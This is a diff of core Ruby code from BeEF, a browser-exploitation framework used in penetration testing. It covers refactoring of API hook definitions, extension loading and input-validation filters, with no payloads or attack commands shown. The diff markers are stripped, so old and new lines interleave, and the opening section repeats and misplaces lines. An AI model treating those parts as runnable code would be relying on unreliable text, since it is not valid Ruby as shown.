module API
|
||||
module Server
|
||||
|
||||
# @note Defined API Paths
|
||||
API_PATHS = {
|
||||
module API
|
||||
module Server
|
||||
# @note Defined API Paths
|
||||
API_PATHS = {
|
||||
'mount_handler' => :mount_handler,
|
||||
'pre_http_start' => :pre_http_start
|
||||
}
|
||||
|
||||
# Fires just before the HTTP Server is started
|
||||
# @param [Object] http_hook_server HTTP Server object
|
||||
def pre_http_start(http_hook_server); end
|
||||
|
||||
# Fires just after handlers have been mounted
|
||||
# @param [Object] server HTTP Server object
|
||||
def mount_handler(server); end
|
||||
|
||||
# Mounts a handler
|
||||
# @param [String] url URL to be mounted
|
||||
# @param [Class] http_handler_class the handler Class
|
||||
# @param [Array] args an array of arguments
|
||||
# @note This is a direct API call and does not have to be registered to be used
|
||||
def self.mount(url, http_handler_class, args = nil)
|
||||
BeEF::Core::Server.instance.mount(url, http_handler_class, *args)
|
||||
end
|
||||
}.freeze
|
||||
|
||||
# Unmounts a handler
|
||||
# @param [String] url URL to be unmounted
|
||||
# @note This is a direct API call and does not have to be registered to be used
|
||||
def self.unmount(url)
|
||||
# Fires just before the HTTP Server is started
|
||||
# @param [Object] http_hook_server HTTP Server object
|
||||
def pre_http_start(http_hook_server); end
|
||||
|
||||
# Fires just after handlers have been mounted
|
||||
# @param [Object] server HTTP Server object
|
||||
def mount_handler(server); end
|
||||
|
||||
# Mounts a handler
|
||||
# @param [String] url URL to be mounted
|
||||
# @param [Class] http_handler_class the handler Class
|
||||
# @param [Array] args an array of arguments
|
||||
# @note This is a direct API call and does not have to be registered to be used
|
||||
def self.mount(url, http_handler_class, args = nil)
|
||||
BeEF::Core::Server.instance.mount(url, http_handler_class, *args)
|
||||
end
|
||||
|
||||
# Unmounts a handler
|
||||
# @param [String] url URL to be unmounted
|
||||
# @note This is a direct API call and does not have to be registered to be used
|
||||
def self.unmount(url)
|
||||
BeEF::Core::Server.instance.unmount(url)
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1,24 +1,21 @@
|
||||
#
|
||||
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module API
|
||||
module Server
|
||||
module Hook
|
||||
module API
|
||||
module Server
|
||||
module Hook
|
||||
# @note Defined API Paths
|
||||
API_PATHS = {
|
||||
'pre_hook_send' => :pre_hook_send
|
||||
}.freeze
|
||||
|
||||
# @note Defined API Paths
|
||||
API_PATHS = {
|
||||
'pre_hook_send' => :pre_hook_send
|
||||
}
|
||||
|
||||
# Fires just before the hook is sent to the hooked browser
|
||||
# @param [Class] handler the associated handler Class
|
||||
def pre_hook_send(handler); end
|
||||
|
||||
# Fires just before the hook is sent to the hooked browser
|
||||
# @param [Class] handler the associated handler Class
|
||||
def pre_hook_send(handler); end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1,26 +1,24 @@
|
||||
#
|
||||
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module API
|
||||
|
||||
module Command
|
||||
end
|
||||
|
||||
module Module
|
||||
|
||||
# @note Defined API Paths
|
||||
API_PATHS = {
|
||||
'pre_soft_load' => :pre_soft_load,
|
||||
'post_soft_load' => :post_soft_load,
|
||||
'pre_hard_load' => :pre_hard_load,
|
||||
'post_hard_load' => :post_hard_load,
|
||||
'get_options' => :get_options,
|
||||
'get_payload_options' => :get_payload_options,
|
||||
'override_execute' => :override_execute
|
||||
}
|
||||
'pre_soft_load' => :pre_soft_load,
|
||||
'post_soft_load' => :post_soft_load,
|
||||
'pre_hard_load' => :pre_hard_load,
|
||||
'post_hard_load' => :post_hard_load,
|
||||
'get_options' => :get_options,
|
||||
'get_payload_options' => :get_payload_options,
|
||||
'override_execute' => :override_execute
|
||||
}.freeze
|
||||
|
||||
# Fired before a module soft load
|
||||
# @param [String] mod module key of module about to be soft loaded
|
||||
@@ -54,8 +52,6 @@ module BeEF
|
||||
# @return [Hash] a hash of options
|
||||
# @note the option hash is merged with all other API hook's returned hash. Hooking this API method prevents the default options being returned.
|
||||
def get_payload_options; end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1,22 +1,18 @@
|
||||
#
|
||||
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module API
|
||||
|
||||
module Modules
|
||||
|
||||
# @note Defined API Paths
|
||||
API_PATHS = {
|
||||
'post_soft_load' => :post_soft_load
|
||||
}
|
||||
'post_soft_load' => :post_soft_load
|
||||
}.freeze
|
||||
|
||||
# Fires just after all modules are soft loaded
|
||||
def post_soft_load; end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1,11 +1,10 @@
|
||||
#
|
||||
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Core
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
@@ -13,10 +12,11 @@ end
|
||||
require 'core/main/router/router'
|
||||
require 'core/main/router/api'
|
||||
|
||||
|
||||
## @note Include http server functions for beef
|
||||
require 'core/main/server'
|
||||
require 'core/main/handlers/modules/beefjs'
|
||||
require 'core/main/handlers/modules/legacybeefjs'
|
||||
require 'core/main/handlers/modules/multistagebeefjs'
|
||||
require 'core/main/handlers/modules/command'
|
||||
require 'core/main/handlers/commands'
|
||||
require 'core/main/handlers/hookedbrowsers'
|
||||
@@ -30,8 +30,6 @@ require 'core/main/network_stack/assethandler'
|
||||
require 'core/main/network_stack/api'
|
||||
|
||||
# @note Include the autorun engine
|
||||
require 'core/main/autorun_engine/models/rule'
|
||||
require 'core/main/autorun_engine/models/execution'
|
||||
require 'core/main/autorun_engine/parser'
|
||||
require 'core/main/autorun_engine/engine'
|
||||
require 'core/main/autorun_engine/rule_loader'
|
||||
|
||||
12
core/core.rb
12
core/core.rb
@@ -1,15 +1,15 @@
|
||||
#
|
||||
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Core
|
||||
|
||||
end
|
||||
module Core
|
||||
end
|
||||
end
|
||||
|
||||
# @note Includes database models - the order must be consistent otherwise DataMapper goes crazy
|
||||
require 'core/main/model'
|
||||
require 'core/main/models/commandmodule'
|
||||
require 'core/main/models/hookedbrowser'
|
||||
require 'core/main/models/log'
|
||||
@@ -17,6 +17,9 @@ require 'core/main/models/command'
|
||||
require 'core/main/models/result'
|
||||
require 'core/main/models/optioncache'
|
||||
require 'core/main/models/browserdetails'
|
||||
require 'core/main/models/rule'
|
||||
require 'core/main/models/execution'
|
||||
require 'core/main/models/legacybrowseruseragents'
|
||||
|
||||
# @note Include the constants
|
||||
require 'core/main/constants/browsers'
|
||||
@@ -35,4 +38,3 @@ require 'core/main/geoip'
|
||||
# @note Include the command line parser and the banner printer
|
||||
require 'core/main/console/commandline'
|
||||
require 'core/main/console/banners'
|
||||
|
||||
|
||||
@@ -1,11 +1,10 @@
|
||||
#
|
||||
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
|
||||
# Checks to see if extension is set inside the configuration
|
||||
# @param [String] ext the extension key
|
||||
# @return [Boolean] whether or not the extension exists in BeEF's configuration
|
||||
@@ -15,9 +14,10 @@ module BeEF
|
||||
|
||||
# Checks to see if extension is enabled in configuration
|
||||
# @param [String] ext the extension key
|
||||
# @return [Boolean] whether or not the extension is enabled
|
||||
# @return [Boolean] whether or not the extension is enabled
|
||||
def self.is_enabled(ext)
|
||||
return false unless is_present(ext)
|
||||
|
||||
BeEF::Core::Configuration.instance.get("beef.extension.#{ext}.enable") == true
|
||||
end
|
||||
|
||||
@@ -26,10 +26,11 @@ module BeEF
|
||||
# @return [Boolean] whether or not the extension is loaded
|
||||
def self.is_loaded(ext)
|
||||
return false unless is_enabled(ext)
|
||||
|
||||
BeEF::Core::Configuration.instance.get("beef.extension.#{ext}.loaded") == true
|
||||
end
|
||||
|
||||
# Loads an extension
|
||||
# Loads an extension
|
||||
# @param [String] ext the extension key
|
||||
# @return [Boolean] whether or not the extension loaded successfully
|
||||
def self.load(ext)
|
||||
@@ -41,7 +42,7 @@ module BeEF
|
||||
end
|
||||
print_error "Unable to load extension '#{ext}'"
|
||||
false
|
||||
rescue => e
|
||||
rescue StandardError => e
|
||||
print_error "Unable to load extension '#{ext}':"
|
||||
print_more e.message
|
||||
end
|
||||
|
||||
@@ -1,32 +1,40 @@
|
||||
#
|
||||
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Extensions
|
||||
|
||||
# Returns configuration of all enabled extensions
|
||||
# @return [Array] an array of extension configuration hashes that are enabled
|
||||
def self.get_enabled
|
||||
BeEF::Core::Configuration.instance.get('beef.extension').select { |k,v| v['enable'] == true }
|
||||
BeEF::Core::Configuration.instance.get('beef.extension').select { |_k, v| v['enable'] == true }
|
||||
rescue StandardError => e
|
||||
print_error "Failed to get enabled extensions: #{e.message}"
|
||||
print_error e.backtrace
|
||||
end
|
||||
|
||||
# Returns configuration of all loaded extensions
|
||||
# @return [Array] an array of extension configuration hashes that are loaded
|
||||
def self.get_loaded
|
||||
BeEF::Core::Configuration.instance.get('beef.extension').select {|k,v| v['loaded'] == true }
|
||||
BeEF::Core::Configuration.instance.get('beef.extension').select { |_k, v| v['loaded'] == true }
|
||||
rescue StandardError => e
|
||||
print_error "Failed to get loaded extensions: #{e.message}"
|
||||
print_error e.backtrace
|
||||
end
|
||||
|
||||
# Load all enabled extensions
|
||||
# @note API fire for post_load
|
||||
def self.load
|
||||
BeEF::Core::Configuration.instance.load_extensions_config
|
||||
self.get_enabled.each { |k,v|
|
||||
get_enabled.each do |k, _v|
|
||||
BeEF::Extension.load k
|
||||
}
|
||||
end
|
||||
# API post extension load
|
||||
BeEF::API::Registrar.instance.fire BeEF::API::Extensions, 'post_load'
|
||||
rescue StandardError => e
|
||||
print_error "Failed to load extensions: #{e.message}"
|
||||
print_error e.backtrace
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1,11 +1,10 @@
|
||||
#
|
||||
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Filters
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -1,199 +1,214 @@
|
||||
#
|
||||
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Filters
|
||||
module Filters
|
||||
# Check if the string is not empty and not nil
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] Whether the string is not empty
|
||||
def self.is_non_empty_string?(str)
|
||||
return false if str.nil?
|
||||
return false unless str.is_a? String
|
||||
return false if str.empty?
|
||||
|
||||
# Check if the string is not empty and not nil
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] Whether the string is not empty
|
||||
def self.is_non_empty_string?(str)
|
||||
return false if str.nil?
|
||||
return false unless str.is_a? String
|
||||
return false if str.empty?
|
||||
true
|
||||
true
|
||||
end
|
||||
|
||||
# Check if only the characters in 'chars' are in 'str'
|
||||
# @param [String] chars List of characters to match
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] Whether or not the only characters in str are specified in chars
|
||||
def self.only?(chars, str)
|
||||
regex = Regexp.new('[^' + chars + ']')
|
||||
regex.match(str.encode('UTF-8', invalid: :replace, undef: :replace, replace: '')).nil?
|
||||
end
|
||||
|
||||
# Check if one or more characters in 'chars' are in 'str'
|
||||
# @param [String] chars List of characters to match
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] Whether one of the characters exists in the string
|
||||
def self.exists?(chars, str)
|
||||
regex = Regexp.new(chars)
|
||||
!regex.match(str.encode('UTF-8', invalid: :replace, undef: :replace, replace: '')).nil?
|
||||
end
|
||||
|
||||
# Check for null char
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has a null character
|
||||
def self.has_null?(str)
|
||||
return false unless is_non_empty_string?(str)
|
||||
|
||||
exists?('\x00', str)
|
||||
end
|
||||
|
||||
# Check for non-printable char
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] Whether or not the string has non-printable characters
|
||||
def self.has_non_printable_char?(str)
|
||||
return false unless is_non_empty_string?(str)
|
||||
|
||||
!only?('[:print:]', str)
|
||||
end
|
||||
|
||||
# Check if num characters only
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string only contains numbers
|
||||
def self.nums_only?(str)
|
||||
return false unless is_non_empty_string?(str)
|
||||
|
||||
only?('0-9', str)
|
||||
end
|
||||
|
||||
# Check if valid float
|
||||
# @param [String] str String for float testing
|
||||
# @return [Boolean] If the string is a valid float
|
||||
def self.is_valid_float?(str)
|
||||
return false unless is_non_empty_string?(str)
|
||||
return false unless only?('0-9\.', str)
|
||||
|
||||
!(str =~ /^\d+\.\d+$/).nil?
|
||||
end
|
||||
|
||||
# Check if hex characters only
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string only contains hex characters
|
||||
def self.hexs_only?(str)
|
||||
return false unless is_non_empty_string?(str)
|
||||
|
||||
only?('0123456789ABCDEFabcdef', str)
|
||||
end
|
||||
|
||||
# Check if first character is a number
|
||||
# @param [String] String for testing
|
||||
# @return [Boolean] If the first character of the string is a number
|
||||
def self.first_char_is_num?(str)
|
||||
return false unless is_non_empty_string?(str)
|
||||
|
||||
!(str =~ /^\d.*/).nil?
|
||||
end
|
||||
|
||||
# Check for space characters: \t\n\r\f
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has a whitespace character
|
||||
def self.has_whitespace_char?(str)
|
||||
return false unless is_non_empty_string?(str)
|
||||
|
||||
exists?('\s', str)
|
||||
end
|
||||
|
||||
# Check for non word characters: a-zA-Z0-9
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string only has alphanums
|
||||
def self.alphanums_only?(str)
|
||||
return false unless is_non_empty_string?(str)
|
||||
|
||||
only?('a-zA-Z0-9', str)
|
||||
end
|
||||
|
||||
# @overload self.is_valid_ip?(ip, version)
|
||||
# Checks if the given string is a valid IP address
|
||||
# @param [String] ip string to be tested
|
||||
# @param [Symbol] version IP version (either <code>:ipv4</code> or <code>:ipv6</code>)
|
||||
# @return [Boolean] true if the string is a valid IP address, otherwise false
|
||||
#
|
||||
# @overload self.is_valid_ip?(ip)
|
||||
# Checks if the given string is either a valid IPv4 or IPv6 address
|
||||
# @param [String] ip string to be tested
|
||||
# @return [Boolean] true if the string is a valid IPv4 or IPV6 address, otherwise false
|
||||
def self.is_valid_ip?(ip, version = :both)
|
||||
return false unless is_non_empty_string?(ip)
|
||||
|
||||
if case version.inspect.downcase
|
||||
when /^:ipv4$/
|
||||
ip =~ /^((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}
|
||||
(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])$/x
|
||||
when /^:ipv6$/
|
||||
ip =~ /^(([0-9a-f]{1,4}:){7,7}[0-9a-f]{1,4}|
|
||||
([0-9a-f]{1,4}:){1,7}:|
|
||||
([0-9a-f]{1,4}:){1,6}:[0-9a-f]{1,4}|
|
||||
([0-9a-f]{1,4}:){1,5}(:[0-9a-f]{1,4}){1,2}|
|
||||
([0-9a-f]{1,4}:){1,4}(:[0-9a-f]{1,4}){1,3}|
|
||||
([0-9a-f]{1,4}:){1,3}(:[0-9a-f]{1,4}){1,4}|
|
||||
([0-9a-f]{1,4}:){1,2}(:[0-9a-f]{1,4}){1,5}|
|
||||
[0-9a-f]{1,4}:((:[0-9a-f]{1,4}){1,6})|
|
||||
:((:[0-9a-f]{1,4}){1,7}|:)|
|
||||
fe80:(:[0-9a-f]{0,4}){0,4}%[0-9a-z]{1,}|
|
||||
::(ffff(:0{1,4}){0,1}:){0,1}
|
||||
((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]).){3,3}
|
||||
(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|
|
||||
([0-9a-f]{1,4}:){1,4}:
|
||||
((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]).){3,3}
|
||||
(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))$/ix
|
||||
when /^:both$/
|
||||
is_valid_ip?(ip, :ipv4) || is_valid_ip?(ip, :ipv6)
|
||||
end
|
||||
true
|
||||
else
|
||||
false
|
||||
end
|
||||
end
|
||||
|
||||
# Checks if the given string is a valid private IP address
|
||||
# @param [String] ip string for testing
|
||||
# @return [Boolean] true if the string is a valid private IP address, otherwise false
|
||||
# @note Includes RFC1918 private IPv4, private IPv6, and localhost 127.0.0.0/8, but does not include local-link addresses.
|
||||
def self.is_valid_private_ip?(ip)
|
||||
return false unless is_valid_ip?(ip)
|
||||
|
||||
ip =~ /\A(^127\.)|(^192\.168\.)|(^10\.)|(^172\.1[6-9]\.)|(^172\.2[0-9]\.)|(^172\.3[0-1]\.)|(^::1$)|(^[fF][cCdD])\z/ ? true : false
|
||||
end
|
||||
|
||||
# Checks if the given string is a valid TCP port
|
||||
# @param [String] port string for testing
|
||||
# @return [Boolean] true if the string is a valid TCP port, otherwise false
|
||||
def self.is_valid_port?(port)
|
||||
valid = false
|
||||
valid = true if port.to_i > 0 && port.to_i < 2**16
|
||||
valid
|
||||
end
|
||||
|
||||
# Checks if string is a valid domain name
|
||||
# @param [String] domain string for testing
|
||||
# @return [Boolean] If the string is a valid domain name
|
||||
# @note Only validates the string format. It does not check for a valid TLD since ICANN's list of TLD's is not static.
|
||||
def self.is_valid_domain?(domain)
|
||||
return false unless is_non_empty_string?(domain)
|
||||
return true if domain =~ /^[0-9a-z-]+(\.[0-9a-z-]+)*(\.[a-z]{2,}).?$/i
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
# Check for valid browser details characters
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has valid browser details characters
|
||||
# @note This function passes the \302\256 character which translates to the registered symbol (r)
|
||||
def self.has_valid_browser_details_chars?(str)
|
||||
return false unless is_non_empty_string?(str)
|
||||
|
||||
!(str =~ %r{[^\w\d\s()-.,;:_/!\302\256]}).nil?
|
||||
end
|
||||
|
||||
# Check for valid base details characters
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has only valid base characters
|
||||
# @note This is for basic filtering where possible all specific filters must be implemented
|
||||
# @note This function passes the \302\256 character which translates to the registered symbol (r)
|
||||
def self.has_valid_base_chars?(str)
|
||||
return false unless is_non_empty_string?(str)
|
||||
|
||||
(str =~ /[^\302\256[:print:]]/).nil?
|
||||
end
|
||||
|
||||
# Verify the yes and no is valid
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string is either 'yes' or 'no'
|
||||
def self.is_valid_yes_no?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if str !~ /\A(Yes|No)\z/i
|
||||
|
||||
true
|
||||
end
|
||||
end
|
||||
|
||||
# Check if only the characters in 'chars' are in 'str'
|
||||
# @param [String] chars List of characters to match
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] Whether or not the only characters in str are specified in chars
|
||||
def self.only?(chars, str)
|
||||
regex = Regexp.new('[^' + chars + ']')
|
||||
regex.match(str.encode('UTF-8', invalid: :replace, undef: :replace, replace: '')).nil?
|
||||
end
|
||||
|
||||
# Check if one or more characters in 'chars' are in 'str'
|
||||
# @param [String] chars List of characters to match
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] Whether one of the characters exists in the string
|
||||
def self.exists?(chars, str)
|
||||
regex = Regexp.new(chars)
|
||||
not regex.match(str.encode('UTF-8', invalid: :replace, undef: :replace, replace: '')).nil?
|
||||
end
|
||||
|
||||
# Check for null char
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has a null character
|
||||
def self.has_null? (str)
|
||||
return false unless is_non_empty_string?(str)
|
||||
exists?('\x00', str)
|
||||
end
|
||||
|
||||
# Check for non-printable char
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] Whether or not the string has non-printable characters
|
||||
def self.has_non_printable_char?(str)
|
||||
return false unless is_non_empty_string?(str)
|
||||
not only?('[:print:]', str)
|
||||
end
|
||||
|
||||
# Check if num characters only
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string only contains numbers
|
||||
def self.nums_only?(str)
|
||||
return false unless is_non_empty_string?(str)
|
||||
only?('0-9', str)
|
||||
end
|
||||
|
||||
# Check if valid float
|
||||
# @param [String] str String for float testing
|
||||
# @return [Boolean] If the string is a valid float
|
||||
def self.is_valid_float?(str)
|
||||
return false unless is_non_empty_string?(str)
|
||||
return false unless only?('0-9\.', str)
|
||||
not (str =~ /^[\d]+\.[\d]+$/).nil?
|
||||
end
|
||||
|
||||
# Check if hex characters only
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string only contains hex characters
|
||||
def self.hexs_only?(str)
|
||||
return false unless is_non_empty_string?(str)
|
||||
only?('0123456789ABCDEFabcdef', str)
|
||||
end
|
||||
|
||||
# Check if first character is a number
|
||||
# @param [String] String for testing
|
||||
# @return [Boolean] If the first character of the string is a number
|
||||
def self.first_char_is_num?(str)
|
||||
return false unless is_non_empty_string?(str)
|
||||
not (str =~ /^\d.*/).nil?
|
||||
end
|
||||
|
||||
# Check for space characters: \t\n\r\f
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has a whitespace character
|
||||
def self.has_whitespace_char?(str)
|
||||
return false unless is_non_empty_string?(str)
|
||||
exists?('\s', str)
|
||||
end
|
||||
|
||||
# Check for non word characters: a-zA-Z0-9
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string only has alphanums
|
||||
def self.alphanums_only?(str)
|
||||
return false unless is_non_empty_string?(str)
|
||||
only?("a-zA-Z0-9", str)
|
||||
end
|
||||
|
||||
# @overload self.is_valid_ip?(ip, version)
|
||||
# Checks if the given string is a valid IP address
|
||||
# @param [String] ip string to be tested
|
||||
# @param [Symbol] version IP version (either <code>:ipv4</code> or <code>:ipv6</code>)
|
||||
# @return [Boolean] true if the string is a valid IP address, otherwise false
|
||||
#
|
||||
# @overload self.is_valid_ip?(ip)
|
||||
# Checks if the given string is either a valid IPv4 or IPv6 address
|
||||
# @param [String] ip string to be tested
|
||||
# @return [Boolean] true if the string is a valid IPv4 or IPV6 address, otherwise false
|
||||
def self.is_valid_ip?(ip, version = :both)
|
||||
return false unless is_non_empty_string?(ip)
|
||||
valid = case version.inspect.downcase
|
||||
when /^:ipv4$/
|
||||
ip =~ /^((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}
|
||||
(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])$/x
|
||||
when /^:ipv6$/
|
||||
ip =~ /^(([0-9a-f]{1,4}:){7,7}[0-9a-f]{1,4}|
|
||||
([0-9a-f]{1,4}:){1,7}:|
|
||||
([0-9a-f]{1,4}:){1,6}:[0-9a-f]{1,4}|
|
||||
([0-9a-f]{1,4}:){1,5}(:[0-9a-f]{1,4}){1,2}|
|
||||
([0-9a-f]{1,4}:){1,4}(:[0-9a-f]{1,4}){1,3}|
|
||||
([0-9a-f]{1,4}:){1,3}(:[0-9a-f]{1,4}){1,4}|
|
||||
([0-9a-f]{1,4}:){1,2}(:[0-9a-f]{1,4}){1,5}|
|
||||
[0-9a-f]{1,4}:((:[0-9a-f]{1,4}){1,6})|
|
||||
:((:[0-9a-f]{1,4}){1,7}|:)|
|
||||
fe80:(:[0-9a-f]{0,4}){0,4}%[0-9a-z]{1,}|
|
||||
::(ffff(:0{1,4}){0,1}:){0,1}
|
||||
((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]).){3,3}
|
||||
(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|
|
||||
([0-9a-f]{1,4}:){1,4}:
|
||||
((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]).){3,3}
|
||||
(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))$/ix
|
||||
when /^:both$/
|
||||
is_valid_ip?(ip, :ipv4) || is_valid_ip?(ip, :ipv6)
|
||||
end ? true : false
|
||||
|
||||
valid
|
||||
end
|
||||
|
||||
# Checks if the given string is a valid private IP address
|
||||
# @param [String] ip string for testing
|
||||
# @return [Boolean] true if the string is a valid private IP address, otherwise false
|
||||
# @note Includes RFC1918 private IPv4, private IPv6, and localhost 127.0.0.0/8, but does not include local-link addresses.
|
||||
def self.is_valid_private_ip?(ip)
|
||||
return false unless is_valid_ip?(ip)
|
||||
return ip =~ /\A(^127\.)|(^192\.168\.)|(^10\.)|(^172\.1[6-9]\.)|(^172\.2[0-9]\.)|(^172\.3[0-1]\.)|(^::1$)|(^[fF][cCdD])\z/ ? true : false
|
||||
end
|
||||
|
||||
# Checks if the given string is a valid TCP port
|
||||
# @param [String] port string for testing
|
||||
# @return [Boolean] true if the string is a valid TCP port, otherwise false
|
||||
def self.is_valid_port?(port)
|
||||
valid = false
|
||||
valid = true if port.to_i > 0 && port.to_i < 2**16
|
||||
valid
|
||||
end
|
||||
|
||||
# Checks if string is a valid domain name
|
||||
# @param [String] domain string for testing
|
||||
# @return [Boolean] If the string is a valid domain name
|
||||
# @note Only validates the string format. It does not check for a valid TLD since ICANN's list of TLD's is not static.
|
||||
def self.is_valid_domain?(domain)
|
||||
return false unless is_non_empty_string?(domain)
|
||||
return true if domain =~ /^[0-9a-z-]+(\.[0-9a-z-]+)*(\.[a-z]{2,}).?$/i
|
||||
false
|
||||
end
|
||||
|
||||
# Check for valid browser details characters
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has valid browser details characters
|
||||
# @note This function passes the \302\256 character which translates to the registered symbol (r)
|
||||
def self.has_valid_browser_details_chars?(str)
|
||||
return false unless is_non_empty_string?(str)
|
||||
not (str =~ /[^\w\d\s()-.,;:_\/!\302\256]/).nil?
|
||||
end
|
||||
|
||||
# Check for valid base details characters
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has only valid base characters
|
||||
# @note This is for basic filtering where possible all specific filters must be implemented
|
||||
# @note This function passes the \302\256 character which translates to the registered symbol (r)
|
||||
def self.has_valid_base_chars?(str)
|
||||
return false unless is_non_empty_string?(str)
|
||||
(str =~ /[^\302\256[:print:]]/).nil?
|
||||
end
|
||||
|
||||
# Verify the yes and no is valid
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string is either 'yes' or 'no'
|
||||
def self.is_valid_yes_no?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if str !~ /\A(Yes|No)\z/i
|
||||
true
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1,151 +1,162 @@
|
||||
#
|
||||
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Filters
|
||||
module Filters
|
||||
# Check the browser type value - for example, 'FF'
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has valid browser name characters
|
||||
def self.is_valid_browsername?(str)
|
||||
return false unless is_non_empty_string?(str)
|
||||
return false if str.length > 2
|
||||
return false if has_non_printable_char?(str)
|
||||
|
||||
# Check the browser type value - for example, 'FF'
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has valid browser name characters
|
||||
def self.is_valid_browsername?(str)
|
||||
return false unless is_non_empty_string?(str)
|
||||
return false if str.length > 2
|
||||
return false if has_non_printable_char?(str)
|
||||
true
